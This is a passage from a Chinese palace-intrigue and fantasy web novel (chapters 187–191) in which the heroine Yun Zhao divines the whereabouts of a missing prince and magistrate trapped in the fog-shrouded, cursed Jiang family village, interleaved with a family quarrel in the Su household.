她的脸上仿佛蒙着一层氤氲,那双原本就妩媚的大眼睛,波光潋滟,直勾勾地望过来。
“过来。”
姜珩喉结滚动了一下,脚步有些发沉,却还是一步一步,朝着那片散发着甜香与危险气息的暖光中心走去。
身为男子,他几乎可以预见接下来会发生什么。
心脏在胸腔里剧烈地跳动,混杂着不甘、**、野心,以及一丝原始的悸动。
……
窗外,隐约可见室内两个逐渐重叠交融的人影,模糊地投射在窗纱之上。
院门外的阴影深处,三皇子赫连曜不知已站立了多久。
先前麟德殿上那副玩世不恭、风流外露的模样早已收敛得干干净净,仿佛只是随手脱去的一层伪装。
此刻的他,负手而立,身姿挺拔,俊美的面容凝着一股沉淀下来的冷静与锐利,如同暗夜中蓄势待发的猎豹。
一旁的心腹侍卫低声道:“殿下,可要属下进去,将那姜姓小吏提出来,让他跪见殿下,知晓分寸?”
“不必。”赫连曜的声音平静无波,甚至透着一丝漠然:“玉珠荒淫惯了。
在长安这段时日,若能有个‘玩意儿’让她打发时间,少去外面惹是生非,倒也替我们省了不少麻烦。”
侍卫犹豫了一下,又道:“寒公子那边……约定的联络时辰已然过了。属下担心……”
提到“寒公子”,赫连曜脸上冷硬的线条似乎柔和了一瞬。
他脸上甚至流露出一丝淡却真实的笑意:“不必多虑,我等他的消息便是。”
他略略抬头,望向皇城方向那一片沉寂的殿宇轮廓,缓缓道:“阿寒是我平生仅见,天下第一等的聪明人。
他既然有了全盘筹算,我们只需依计行事,静候佳音。我相信他的判断与安排。”
赫连曜转身,悄无声息地融入了更深的夜色之中,仿佛从未出现过。
……
翌日天色不佳,铅灰色的云层低低压着皇城,空气闷窒,仿佛酝酿着一场迟来的秋雨。
云昭一早醒来,梳洗方毕,便收到了长公主府遣人快马送来的烫金请帖,邀她过府一叙。
乘坐马车前往公主府的途中,即便隔着车厢,也能听到街边巷尾传来的阵阵议论,如同煮沸的水,嘈嘈切切。
“听说了吗?那害人的桃花符,真凶抓到了!”
“哎呦谁能想到哇!凶手竟是宋相家那位号称‘京城第一贵女’的宋大小姐!”
“啧啧,知人知面不知心啊!平日里高高在上,跟不食烟火的仙女似的,背地里竟摆弄这等阴毒玩意儿!听说害**好些姑娘呢……”
“是京兆府和新立的玄察司联手办的案,告示都贴出来了!听说,宋小姐昨夜在宫里就没啦!据说是事情败露,羞愤自尽!”
云昭倚着车窗,静静听着外间沸腾的舆情。
朝廷和京兆府出于稳定和皇家颜面考虑,自然不会刻意将此事大肆渲染发酵。
能在一夜之间,就让这桩涉及闺阁、宫廷的秘案细节,飞速传得街头巷尾人尽皆知,除了那位恨意滔天的安王妃薛静姝,还有谁能有这般能量和决心?
以安王妃睚眦必报、跋扈护短的性子,宋白玉一死,恐怕远非终点。
针对树大根深的宋家,她定然还有更狠辣的后招。
至于昨夜宫中其他的事,今上**,太子**,与宋白玉勾缠不清等等纷扰,则被严严实实地封锁在宫墙之内。
事关国本与皇家绝对尊严,任何知晓内情之人,哪怕借他十个胆子,也绝不敢泄露半分。
然而,太子在凝辉堂的荒唐行径,却是在众目睽睽之下发生,瞒得过京城百姓,瞒不过昨夜在场的满京勋贵。
太子的荒淫与失德,已然成为这些高门大户心中心照不宣的共识。
云昭眸色沉静。
她很清楚,仅凭“荒淫失德”这四个字,或许能让皇帝对太子心生厌弃、越发不满,但要想真正撼动储位,甚至让皇帝下定决心行废立之事,却还远远不够。
古往今来,荒唐的储君并非没有,但只要不曾真正威胁到皇权,动摇国本,皇帝往往只会训斥、禁足,而难下狠手。
欲扳倒太子,必须让陛下真切地感受到,这个儿子不仅仅是无能荒唐,更怀有觊觎皇权、不臣于父的野心与行动!
这才是能刺穿帝王心防的致命一击!
马车平稳地停在公主府气派的朱门外,早已等候在门口的驸马卫临亲自迎了出来。
比起前几次见面时的憔悴郁色,卫临今日神色明显舒缓了许多,眉宇间甚至带着一丝不易察觉的轻松,想来近日与长公主的关系缓和不少。
花厅。
长公主屏退了所有侍从,只留云昭一人。
她今日未着华服,只一身家常的深青色常服,发髻简单绾起,脸上却带着前所未有的凝重,连眼下的淡淡青影都透着一股忧思。
“昭儿,”长公主开门见山,声音压得有些低,“义母今日急急唤你来,是有要紧事需与你分说。”
云昭见她神色不同以往,不由正襟危坐:“云昭洗耳恭听。”
长公主深吸一口气:“母后如今在玄都观清修,陛下有意重启中断十年的‘文昌大典’。
你或许不知,文昌大典,祭祀文运,历来需帝后一同主持,或至少由太后代行皇后之职,以示朝廷对文教之重视。如今,太后不在宫中……
云昭心念
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微动。
果然就听长公主道:“我恐陛下……或借此次大典,将皇后从清凉寺接回宫中。”
云昭与长公主相识至今,极少见她如此严肃乃至忌惮地谈论一个人,不由听得越发仔细。
“皇后此人,”长公主的语气变得极为复杂,混合着厌恶、警惕与一丝难以言喻的寒意,
“心术极端,性情偏执。因一些陈年旧怨,皇帝对她极为不喜,甚至是……厌憎。”
她似乎陷入了某种不愉快的回忆。
沉默片刻,才低声道:“约莫是十年前,也是这样一个秋日,宫中曾出过一桩秘事。
当时年仅十一岁的太子,不知何故,深夜险些溺毙在太液池中。被发现时,已奄奄一息。
那晚,帝后二人于寝宫爆发激烈争执,声响甚至惊动了外殿值守的宫人。
次日天未亮,皇后便自请离宫,前往京郊清凉寺‘为国祈福’,自此长居寺中,再未回宫。
而太子落水一事,被压了下去,对外只称太子不慎感染风寒,急需静养。”
云昭眸光一凝,心中迅速将线索串联:
“殿下的意思是……当年太子落水,或许与皇后有关?而陛下因此事,彻底厌弃了皇后?”
长公主缓缓点头,眼中忧色更浓:“这只是宫中隐秘猜测,无人敢证实。但帝后关系自此彻底破裂,却是事实。
我想告诉你的是,如若皇后借此次大典之机回宫,太子必定重新得势,依附于太子的孟贵妃及其身后的孟家,亦将水涨船高,权势复炽。
到那时,你与渊儿的处境,只怕比如今要艰难凶险十倍不止!”
她倾身向前,握住云昭的手力道有些紧,带着前所未有的郑重与一丝难以启齿的暗示:
“皇后她……绝非善类,手中很有些见不得光的歹毒手段,且行事毫无顾忌。
昭儿,你聪慧机敏,当知未雨绸缪,若你往后真有什么不得已的打算……”
她的话在这里微妙地停顿,目光深深看入云昭眼底,“务必记着,要么不动,若动……则需确保雷霆万钧,一击必中!
若遇难处,义母……随时可以支应你一二。”
长公主这番话,已是将立场与担忧表达得再明白不过。
长公主并非在教云昭如何防守,而是在暗示,若决定铲除威胁,就必须以绝对的力量和把握,彻底毁灭敌人。
云昭心中凛然!
早在查清清微谷灭门**背后,是太子与玉衡**勾结那日,她就已清醒地认识到,自己面临的敌人,早已不局限于后宅妇人的阴私算计,而是深植于皇权核心、盘根错节的庞大朝堂。
欲扳倒太子,势必牵连其身后的贵妃、手握兵权的孟大将军、隐于其后的皇后,甚至……还有那位高高在上的天子!
然而,即便有了这样的心理准备,云昭仍然感到一丝寒意。
能让见惯风浪的长公主都如此忌惮,这位深居清凉寺十年、几乎被人遗忘的皇后娘娘,其危险程度,恐怕远超她之前的想象。
就在花厅内气氛凝滞之际,门外突然传来一阵急促而略显凌乱的脚步声。
驸马卫临竟是顾不得通传,急匆匆迈过门槛,而他身后,还跟着一位让云昭大感意外的人——
竟是那位曾在西北与萧启并肩作战、如今留在京城任职的殿前副都指挥使裴寂!
裴寂身兼京城部分戍卫与协同办案之责,与京兆府及秦王麾下常有公务往来。
卫临一进来,甚至来不及向长公主详细解释,便径直看向云昭,语气焦灼:
“姜司主,裴将军有急事寻你!他方才先赶去了玄察司,得知你在此处,便一刻不停追了过来!”
裴寂快步上前,只匆匆向长公主抱拳行了一礼,连客套都省了,便对着云昭急声道:
“殿下与京兆府尹赵大人昨夜接到密报,亲自带人连夜赶往京郊将家村一带查探!
临行前,殿下特意交代,若他们今日午时仍未折返,亦无消息传回,便务必立刻将此事原委告知姜司主知晓!
如今午时已过,殿下与赵大人……音讯全无!”
“什么?!”长公主闻言,猛地从座椅上站了起来,“渊儿他……到底发生了何事?你把话说清楚!”
第188章 有人故意将他们困住了
裴寂站在一旁,语速又快又急:“殿下和赵大人接到密报,此行本就是为救人而去!
李副将也带了足足两队精锐翊卫随行,按理说准备充分。
以殿下之缜密、赵大人之机变,即便遭遇意外,救不出人,也断不至于将自己人都陷进去,连个回来报信的人都没有!”
云昭一边凝神听着裴寂的叙述,大脑飞速运转分析着各种可能,一边已伸手取过面前小几上那盏尚带余温的清茶。
她没有饮用,而是神色专注地将茶盏置于掌心,另一只手的指尖探入微烫的茶水中,轻轻一蘸。
只以这沾了茶水的指尖为笔,以光滑的红木桌面为纸,屏息凝神,速度极快地在桌面上勾勒出一个复杂而古朴的图案——
这并非寻常八卦,而是融合了星宿方位与简易河图洛书变化的“寻踪溯源符”。
茶水在木质桌面上留下深色的痕迹,随着云昭指尖灵力的轻微灌注,那些水迹竟隐隐泛起一层极其微弱的淡金色毫光,自行游走连接,形成一个完整而玄妙的阵图。
此法看似简单,实则对施术者的灵力控制与心神专注要求极高,乃是结合当下有限条件、最快探查目标大致方位与生死状况的应急之法。
一旁的长公主与驸马卫临见状,深知此乃玄门秘术,皆屏住了呼吸,目光紧紧锁在符图之上。
只见桌上灵光一闪,随即归于平静。
云昭的眉头却微微蹙起。
按照常理,此符会根据与被寻者之间的微弱因果或气息牵引,显示出大致方位或吉凶征兆。
然而此刻,桌面上由茶水绘就的符图,却呈现出一种诡异的“静止”状态——
所有线条均匀分布,无偏无倚,光芒消散后,再无任何异常迹象。
这是……空茫无依之象。
长公主也察觉出不对劲,急问道:“昭儿,这……这是何意?”
云昭撤去指尖灵力,沉吟片刻道:“有人故意将他们困住了。”
她看向裴寂和长公主:“可知秦王殿下,或是赵悉赵大人的准确生辰八字?需具体到时辰。”
裴寂愣了一下,摇了摇头。
长公主凝神片刻,很快道出萧启生辰八字。
云昭掐起指尖,口中低语:“武将跨坛,杀印相生,命悬一线时,当有吉星……”
长公主又回忆道,“至于赵悉那孩子……他出生的日子特殊,是农历五月初五端午节。时辰么……说是正当午时,日头最盛的时候。”
云昭闻言,原本微蹙的眉头反而舒展了些许。
她掐起指尖,口中低语:“五月初五,午时……好日子,好时辰!”
长公主微讶,不解道:“难道这八字很好?”
“昭儿你有所不知,前些年,京中颇有些人私下议论,说赵悉这孩子生辰不好,乃是‘五毒日’出生,命带煞气,刑克六亲。”
赵悉父亲、叔父和几位兄长皆战死沙场,赵家满门忠烈,却也人丁凋零。
京中有些长舌妇人便暗地里嚼舌根,说赵悉生辰不祥,克死父兄,是天煞孤星的命。
后来这话传到了赵老夫人耳朵里,老夫人乃将门虎女,自少时起性子便刚烈如火,一生未改。
她一听之下,勃然大怒,当场就从椅子上蹦起来,抄起手边的鸡毛掸子,带着家中女儿和一众儿媳,浩浩荡荡冲到那传闲话的勋贵府邸门前。
赵老夫人也不顾忌对方身份,当着满街围观的人,用那鸡毛掸子指着对方鼻子劈头盖脸一顿痛骂!
骂到激动处,还用掸子抽了那多嘴妇人两下嘴巴子!
这还不算完,赵老夫人随即领着赵家所有女眷,披麻戴孝,一路哭声震天,直接跪到了宫门外
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喊冤!
言道赵家男儿为国捐躯,血染沙场,身后却要受此污蔑,请陛下主持公道,严惩造谣之人!
“先帝闻奏,亦是震怒。”长公主继续道,“彼时赵悉出生未满百天。先帝当即下旨,不仅重重赏赐赵家,抚恤忠良,更破格为尚在襁褓的赵悉赐下了世子封号。”
其赏赐之丰厚,规制之高,在京城一众勋贵世子中都是独一份的。
自那之后,再无人敢明面上拿赵悉的生辰八字说嘴。
长公主之所以能清楚记得赵悉生辰,正是因为这段沸沸扬扬的往事。
云昭却缓缓摇头,目光清亮:“五月初五,午时正中,乃是一年之中阳气最盛、火德最旺之时!
此等生辰,非但不是阴煞,反而是至阳至刚、百邪难侵的命格,只是若行事锋芒过露,易招小人嫉恨罢了。”
云昭话锋一转,神色再次凝重,“方才空卦,并非吉凶未卜,而是指向一种可能——
他们被困之处,被人以特殊手段或地势,强行隔绝了内外生机与天机联系,形成了一种近乎‘绝地’的封闭环境。
寻常的八卦推演、寻踪觅迹之术,难以穿透这层屏障,算不出他们确切所在。”
她看向长公主和裴寂:“他们的生机与转机,恰恰应在赵悉身上!
赵大人命格至阳至刚,是难得的福将。关键时刻,或可靠他觅得一线生机!”
推算至此,云昭不再耽搁,迅速起身:“劳烦驸马赶往玄察司,取我随身药箱,带上哑婆同行,然后速至城西十里处的‘老槐坡’会合!
我们从那里出发,一同赶往蒋家村!”
长公主立刻对卫临道:“快去!骑我那匹胭脂宝马!”
卫临重重点头,不敢有片刻延误,转身疾步而出。
云昭则同裴寂一起,快步出了公主府。
第189章 那村子邪门
苏府。
苏文正从书院归来,踏入正院上房,屋内因着阴天,早早便点起了灯,却仍旧驱不散那股子昏暗。
老夫人歪在临窗的软榻上,额角贴着一块醒目的膏药,听到熟悉的脚步声,捻动佛珠的指尖几不可察地滞了滞,眼皮却未抬。
“林氏呢?”苏文正扫视室内,不见大儿媳身影。
老夫人默然不语,只将脸微微转向内侧。
苏文正眉头蹙起,声音沉了几分:“昨日说定的,今日由你和林氏一同动身,去把王氏接回来。
如今什么时辰了?怎么还不见动静?”
他转向侍立在门边的管家,“去,把大夫人请来。”
“不必去了。”老夫人声音干涩平板,“林氏不在府里。”
苏文正眉头皱得更紧:“不在府里?这个时辰,她能去何处?昨日不是说得明白……”
老夫人避开了他的视线,语气平淡:“年前我便与你提过,娘家祠堂需要重建。
林氏至孝,几个月前以我的名义捐了一笔不小的款子。
前日,族中忽然有急信送来,说是选定建祠堂的那块地底,挖出了一些东西。需得主事之人回去主持局面。”
她略略停顿,拿起帕子按了按额角膏药的边缘,“我这几日身子实在不爽利,林氏见我难受,便主动提出,代我回江陵一趟处置了。”
这番话说的缘由俱全,听上去不似临时起意的编造,倒像是反复掂量过的说辞。
苏文正心有不虞,追问道:“地底下挖出了什么?”
提起这个,老夫人手指无意识地将佛珠攥紧:“也没什么,可能涉及些先人忌讳。
林氏素来稳重,心思也细,她回去一趟,亲眼看过,处理妥当,我也就能放心了。”
苏文正沉默了片刻,语重心长道:“即便事出有因,她既已代你回去,你也该派人知会我一声。王氏之事,难道真就不闻不问了?”
“深更半夜,招呼不打一声,就使性子跑回娘家,眼里可还有夫君?可还有我们这些长辈?”
苏老夫人嘴角向下一撇,“难道还要我这个做婆婆的,腆着脸面,上门去求她回来不成?”
苏文正强压着火气道,“你不要在这里摆长辈的谱!王氏的为人品性,阖府上下谁人不知?她素来明理懂事,此次突然如此反常,才更该弄清楚缘由!”
他越说越觉得心寒齿冷,语气也越发沉重:“难道你想等凌风归来,看到妻子大着肚子长住娘家,再来质问你为何逼得儿媳连家都不敢回?”
听到二儿子苏凌风的名字,老夫人眼神闪烁了下:“你和老二,这些年心里总是埋怨我,觉得我当初苛待**,觉得我偏疼林氏和嬛儿……”
“昨日在麟德殿,”苏文正忽然打断了她,“众目睽睽之下,你为何要装晕?”
苏老夫人身体骤然僵住。她张了张嘴,却没能立刻发出声音。
“此刻没有晚辈在侧,”苏文正转过身看着她,目光如古井般深幽,“你也不必再演了。说吧,到底是为什么?”
“老爷这话,是在审贼吗?你难道还没看清那丫头是何等铁石心肠?连我这个嫡亲的外祖母当场晕倒,她都无动于衷,冷眼旁观!
这等心性凉薄的女子,若是真认回我们苏家,只怕是引狼**,搅得阖府难安!”
苏文正向前一步,逼近榻边,目光如炬:“你口口声声说她不敬尊长。
可我们身为她的外祖父、外祖母,何曾给过她什么?
她如今能站在那麟德殿上,不靠苏家一分一毫的扶持,是靠着她自己,一次次挣命挣出来的!
你昨日装晕,无非是想以‘孝道’大义压她,想逼她在御前失态,想借悠悠众口与皇室威仪毁她声名!”
苏老夫人声音陡然拔高:“说来说去,老爷就是偏心她!野丫头给你灌了什么**汤?
我才是你的结发妻子!我十六岁嫁入苏家,为你生儿育女,操持中馈,侍奉公婆,熬干了心血!
几十年风雨同舟,难道还比不上一个流落在外、满身反骨的野丫头?!”
“真正偏心的,到底是谁?!”
苏文正转过身,声音里透着疲惫,“这些年,你对**如何,对林氏母女如何,对府中其他子女孙辈如何,我心里并非全然不知。
只是念在多年夫妻情分,顾全家族体面,许多事我不愿深究,只盼你有一天能自己想明白……罢了,是我自欺欺人。”
他走到门边,没有回头:“从今往后,凡有宫宴、节庆或需命妇出席的场合,你都不必再去了。
府中中馈一应事务,待林氏回府后,我自会重新安排,择人接管。
往后,你就在这院子里,静心礼佛,侍弄花草,过你的清静日子吧。
外头的事,不必再劳你费心;府内的人,也不必再受你管。”
“老爷——!”苏老夫人如遭五雷轰顶,猛地从榻上扑滚下来!
“我是你明媒正娶的妻!你如此辱我欺我,我活着还有什么意思!!”
苏文正沉默半晌,吐出一口浊气:
“当年,母亲临终前,曾屏退所有人,独独拉着我说,待她去了,府内再无人能弹压你。
你读书不多,心思却重,她要我别一味顾念父亲生前嘱托,早些将掌家之权从你手上收回,否则,苏家内宅早晚要酿出贻害子孙的大祸。”
“当年我觉得母亲狠心。如今我只觉,她老人家,见事比我明白。”
苏老夫人疯狂的哭喊声,骤然停滞,像是被一只无形而冰冷的手,死死扼住了喉咙。
她瘫坐在地上,仰着头,瞪大了眼睛,看着丈夫挺直却苍老的背影。
苏文正继续道:“你应该比谁都清楚,我苏家最重承诺。
当年水灾,你爹娘为救我父亲而死。
父亲临终前,攥着我的手,逼我立下重誓,为了两家承诺,我必须娶你为妻,善待你和孩子,不论发生什么,绝不可休妻另娶。
这些我都做到了,未曾违背半分。
可你扪心自问,这些年来,你可有真正将苏家,当成你我共同的家?
你看不惯**,每每见到她,就浑身不痛快。
你偏心林氏,怜她自幼失怙,你觉得她柔弱可怜,需要庇护。
可**呢?她有母亲却如没有,她有我这个父亲,可我……在她最难的时候,我又何曾真正信过她一回?
如今,我只想多补偿她们母女一些,你若看不惯,往后就守着你的院子,不看便是。”
最后一个字,轻轻落下,却似有千钧之重。
苏文正拄着拐,一脚深一脚浅地走了出去。
*
京外,老槐坡。
铅灰色的云层沉甸甸地压在头顶,仿佛随时都要坠落。
云昭与墨七同乘一骑,她遥
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遥望着远处官道尽头,一匹**色如烈焰般的胭脂宝马正四蹄翻飞,疾驰而来。
马背上的正是驸马卫临。他身后不远处,还跟着两骑,依稀可辨是由善骑的侍卫带着的孙婆子和……惠娘?
云昭心中不由掠过一个念头:自打入京以来,无一日清闲,遇着紧急之事,总要仰仗他人控马同行。待此事了结,无论如何,也得将这骑术尽快精熟才是。
思忖间,卫临已率先驰至近前,那匹神骏的胭脂马长嘶一声,随即稳稳停住。
卫临翻身下马,气息微促,显是一路疾驰未歇。
孙婆子依旧是一身利落的灰布衣裳。迎着云昭的目光,她抬手轻拍了拍背上那个看起来结实沉重的青布行囊,又指了指腰间鼓鼓囊囊的褡裢——
示意一切可能用到的药物、工具、玄门器物,皆已准备妥当。
惠娘动作磕磕绊绊,几乎是滚鞍下马,脚步踉跄地扑到云昭马前。
她不顾地上尘土,直挺挺地跪了下去:
“民妇听闻司主要亲往蒋家村去,这才求了驸马爷,硬是跟了来!
司主,那地方去不得啊!尤其是女子,万万去不得!”
云昭眉头微蹙。
一旁的裴寂等人本就因秦王与赵悉下落不明而心急如焚,见状更是不耐。
他沉声道:“你这妇人,休要危言耸听!速速将你知道的情况说清楚,莫要耽误时辰!”
惠娘被裴寂身上凌厉的气势所慑,身体瑟缩了一下,却仍固执地跪着,急急道:“将军恕罪!民妇并非胡言!
民妇本不是蒋家村人!多年以前,我那短命的夫君害病没了,我一个寡妇,带着**,无田无产,实在活不下去,就跟了一个走村串乡的卖货郎。
他心不算坏,答应照顾我们母女,我便随他去了他的家乡,便是那蒋家村。”
她语速加快,带着往事不堪回首的凄惶:“可谁曾想,命不由人!住进蒋家村不到一年,那货郎在山里收山货时,失足跌下山崖,人也没了。
村里人嫌我们母女是外姓人,又是克夫的晦气寡妇,很是不待见。
可后来不知怎的,态度又缓和了些,许我们在村尾废弃的老屋暂且容身。我们母女俩,就这么战战兢兢,在蒋家村住了下来,一住便是七八年……”
裴寂听着这些陈年旧事,与眼下紧急的救援看似毫无干系,眉头拧成了疙瘩,脸上焦躁之色愈浓,几乎要出声打断。
惠娘却似豁出去了,猛地抬高了声音,那声音尖厉中带着恐惧,穿透了风声,清晰地传入每个人耳中:
“正因如此,民妇才知道那村子的邪门!”
她这话如同冷水滴入滚油,让原本就气氛紧绷的众人心头都是一凛。
惠娘的手指颤抖着,指向一旁沉默不语的孙婆子:“我从前在村里,也听过她家的事!她家也是**个闺女,这才勉强躲过一劫。”
卫临的脸色变了,裴寂与之对视一眼,都从对方眼中看到了凝重。
连一贯沉稳的孙婆子,那布满皱纹的脸上,肌肉也几不可察地抽搐了一下。
“凡踏入将家村的女子,要么自己‘死’过一回,要么失去至亲骨血,总要付出‘代价’,才能获得在那村子留下来的资格!
司主,各位大人!蒋家村,男子能进也能出,但女子……一旦踏入,便是踏入鬼门关,有去无回啊!”
第190章 不准死!听见没有!
一片昏黑。
浓重的土腥气从四面八方渗透,但最刺鼻的,还是浓重的血腥气。
仅有的一点微光,不知从何处缝隙渗入,勉强勾勒出人影轮廓。
李副将半跪在地,双目赤红,粗壮的手臂正死死扶着一个瘫软的人。
他喉咙里发出低吼,声音嘶哑:
“姓裴的,你**给老子撑住了!不准死!听见没有!”
不知是恐惧还是别的缘故,他的声音一直在抖,“今日若有命从这鬼地方爬出去,老子对天发誓,再也不喊你‘太子的狗’了!老子认你是条汉子!听见了没?!”
被他扶着的,正是刑部侍郎裴琰之。
平日里俊雅斯文的脸,此刻已面如金纸;
那双总是洞悉人心的眼眸,已然涣散失焦,失去了所有神采。
最触目惊心的是他胸口,一个碗口大的血洞赫然在目,边缘皮肉翻卷,深可见骨!
无论李牧如何用手去捂,用撕下的布条去缠,那血依然不停地淌着。
听到李牧的话,裴琰之苍白失血的唇角,极轻微地向上牵动了下。
他像是想说什么,可刚动了动嘴唇,便喉头一滚,“哇”地又呛出一大口鲜血!
鲜血溅在李牧的手臂上,热得灼人。
“你**别说了!省点力气!”
李牧猛地用袖子胡乱抹了把脸,分不清是汗水、血水还是泪水,“是老子蠢!是老子着了那老妖婆的道!都怪我!”
李牧此刻心里憋屈、悔恨、愤怒,五味杂陈,几乎要炸开。
这次秦王殿下派他与裴琰之一同来蒋家村查探邪师案,他心里是一百二十个不情愿,简直是捏着鼻子与之共事。
满京城官场无人不知,这裴琰之是个异数!
与他同级的另一位侍郎陶远之,儿子都已经十八,准备娶亲了。即便如此,陶远之在同辈官员里,都算升迁顺遂的。
而裴琰之的升迁速度,简直堪称恐怖!
裴琰之当初是走了东宫的门路,由太子亲自举荐,才得以入仕,最初补的是九品刑部“司狱”,一个管理监狱档案文书的文职。
之后,他凭借惊人的能力,一步步从司狱、主事、员外郎、郎中,直至如今的刑部侍郎。
由他经手的案子,桩桩件件都办得漂亮利落,让人挑不出错。陛下也屡次嘉奖,破格提拔。
然而越是如此,旁人越是不敢与他深交。
李牧作为秦王萧启的旧部,对裴琰之更是鄙夷与不喜。
蒋家村有问题,他们一开始就知道。邪师薛九针在此失去踪迹,种种迹象都表明这村子不干净。
但他们万万没想到,这看似平静的京郊村落,竟处处都是陷阱,人人……都不正常!
就在不久前,他们在一个颤颤巍巍的瞎眼老太婆手上吃了大亏!
“都怪我!是我蠢!没听你的劝!”李牧看着裴琰之越来越微弱的呼吸,心如刀绞,这个铁塔般的汉子声音哽咽,
“裴大人!你千万别死!只要能活着出去,我李牧给你磕头赔罪!叫你爷爷都成!你撑着点!”
仿佛用尽了最后一丝清醒的神智,裴琰之染血的手指,几不可察地动了动。
他颤抖着,从怀里掏出了一个东西。
李牧泪眼模糊地看去,只见裴琰之指尖捏着一根破旧的红绳,红绳末端,系着一颗被摩挲得异常光滑温润的小核桃。
“不……孙子……”裴琰之的嘴唇翕动着,“交、给……苏……”
他的话语已经含糊不清,气若游丝。
偏偏失血的唇角,似乎又极其勉强地向上弯了一下。
如果不是考虑到他此刻濒死的状态,听这话,真的很像是在骂人!
李牧愣住:“交给谁?苏什么?”他急急追问。
然而,裴琰之没有机会再回答。
他仿佛终于耗尽了最后一点力量,身体猛地一颤,又一口殷红的鲜血从口中喷涌而出,在昏暗中划过一道凄绝的弧线。
捏着红绳核桃的手无力地垂落下去。
好黑……好冷……
胸口是撕裂般的剧痛,每一次呼吸都像在拉扯破碎的风箱,带着血沫的腥甜。
她死的时候……也是这样的感觉吗?
也是这样一片冰冷绝望的黑暗,胸口痛到麻木。
如同一条被死死摁在砧板上的鱼,只能眼睁睁看着生命随着鲜血流走,什么都做不了,什么都无法挽回……
黑暗中,他似乎又看到了那双含着泪、满是不甘和凄苦的眼睛。
如果这次,换成是他死……是不是一切,就能彻底扭转?
一丝近乎解脱的笑,凝在了他染血的唇角。
就在这片令人窒息的绝望黑暗中,密室一端的墙壁,忽然传来一阵极其轻微的响声。
紧接着,一道微弱的光线,随着一扇隐蔽石门的缓缓开启投射进来。
两个身影,一前一后,闪身而入——
正是循着线索、一路追踪至此的萧启与赵悉。
赵悉眼尖,借着那微弱的光线,一眼就看到了地上相扶的两人和那大片的血迹。
他一个箭步上前,蹲下身,伸手迅速在裴琰之鼻下一探——气息全无!
“嚯!”赵悉惊得眉毛一挑,感慨地看向李牧,“你可以啊!一进来就把姓裴的给祸祸了!他要是真折在这儿,太子那边怕是要疯。”
李牧看到是萧启和赵悉,泪水再也忍不住滚落下来,他嘶声道:“殿下!赵大人!你们……你们怎么也被困在这了!”
他意识到赵悉的话,急忙辩解,“不是的!裴大人是为了救我……他不是坏人!”
萧启快步走到裴琰之身边,蹲下身,伸出两指,精准地搭在了裴琰之的颈侧动脉处。
凝神感知了片刻,他淡声道:“脉搏还有,只是晕死过去了。”
他的目光冷静地扫过裴琰
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之胸前那个狰狞的血洞,眉头几不可察地蹙了一下:“再这么流下去,就真的救不回来了。”
赵悉闻言,立刻在自己腰间和袖袋里摸索起来。
片刻,他掏出一个拇指大小的青瓷药瓶,“喏,上好的军中金疮药,止血生肌有奇效。本来今早出门前,我三嫂硬塞给我,我还嫌她啰嗦……”
李牧如同抓住救命稻草,双手颤抖着接过药瓶,拔开塞子就要往裴琰之伤口上倒。
萧启神色冷沉:“光是金疮药和绷带,止不住这种深度的贯穿伤。必须设法先封住伤口,吊住他最后一口气。”
“那怎么办?”李牧急了,环顾这除了石头就是泥土的密室,哪里去找能救命的东西?
赵悉挠了挠头,脸上露出几分肉痛和犹豫。
他在自己的袖子里掏摸了半天,最后小心翼翼地扯出了一张折叠得整整齐齐的紫色符箓。
“这个……”赵悉犹豫道,“是之前云昭送我的。我看她给我的符箓里,就这张颜色最特别,符文也最复杂……死马当活马医吧。”
三人的目光都不由自主地集中到了赵悉手中那张小小的符箓上。
借着门口透入的微光,可以看到,复杂的朱红色符文中央,勾勒着一个笔力遒劲、龙飞凤舞“绝”字。
李牧满心惶惑:“这……能行吗?”
赵悉叹了口气:“不行还能怎么着?咱们现在被困在这鬼地方,就算裴将军机灵,能及时搬来云昭当救兵!
可在那之前,咱们几个至少得先保证都喘着气吧?
不然人都凉了,还真指望小医仙能吹口气把**救活啊?”
说完,他不再犹豫,捏着那张“绝”字符箓,对准裴琰之胸前那仍在渗血的恐怖伤口,手腕一沉,稳稳地拍了下去!
无人瞧见的是,符箓上鲜红的朱砂符文,骤然流过一层极薄的淡金色微光。
金光顺着符纸的边缘,飞快地淌向裴琰之胸口血洞的深处,如同无数条细小的金线,试图编织成网,堵住那生命的决口。
……
另一边,云昭一行已勒马驻足于村口之外。
时值正午,本该是炊烟袅袅、村落喧嚷之时,可前方的蒋家村却完全被一片浓得化不开的灰白色大雾所笼罩。
那雾气并非寻常山岚水汽,而是凝滞不动,厚重如墙,将村中的屋舍、道路、树木尽数吞没,只余下一片模糊朦胧、无边无际的灰白。
雾气边缘翻滚,仿佛有生命般缓慢蠕动。
村口那块竖着书写村名“蒋家村”的木牌,竟被人用蛮力从中一劈为二,断裂的茬口犹新,歪斜地倒在路旁荒草中。
取而代之的,是一块颜色暗沉旧木板。
木板上,歪歪扭扭却又力透木背地书写着八个血红大字:
阳人止步,阴魂无归!
那字迹潦草癫狂,笔画末端拖出长长的血渍痕迹,宛如厉鬼泣**写!
第191章 去菜市口排队等着问斩
“将家村在你辖下,周县丞,今日需你一同入内。有些事,你可当场提点。”
两刻钟前,被云昭下令急召而来的清水县丞周文焕,此刻脸色已是一片惨白,额角渗出细密的冷汗。
他哆哆嗦嗦地指着前方的浓雾,声音都变了调:“姜、姜司主……这、这……”
卫临看他实在吓得不成样子,从后头窝了一脚,没好气道:“想好了再说!”
周文焕被踹得一个踉跄,官帽险些掉在地上,这一被打岔,反倒多少稳住几分心神。
他忙朝云昭拱手道:“下官不敢说对将家村了如指掌,但它从前也只是比别处稍显闭塞些,不与外村频繁走动。
可、可绝无这般……这般邪门的遮天浓雾!这、这定是有妖人作祟,恐有大凶啊!”
云昭目光平静地扫过他那张惊惶的脸:“慌什么?又不是让你一个人进去探路。”
这意思,还真要进去?
周文焕非但没觉得安慰,腿肚子更软了。
他张了张嘴,搜肠刮肚想找些合情理的推脱之词……可如今村子里还困着秦王殿下和京兆府尹赵大人!
额滴老天爷啊!
这两个,一个是今上最看重的侄儿,手握实权的亲王;
另一个是天子近臣、掌管京畿治安的府尹;
背后还有一向护短的长公主府和满门凶悍娘们儿的宁国公府!
哪一位不是在京城跺跺脚、地皮都要抖三抖的人物?
这些人若真在他辖下的将家村出了什么差池,他周文焕也不必忙了,直接和县令、县尉,三个人一块收拾包袱,去菜市口排队等着问斩得了!
所有推诿都噎在喉咙里,周文焕苦着脸从牙缝里挤出一个字:“……是。”
云昭不再看他,转而吩咐孙婆子:“取铜盆,备阳火。”
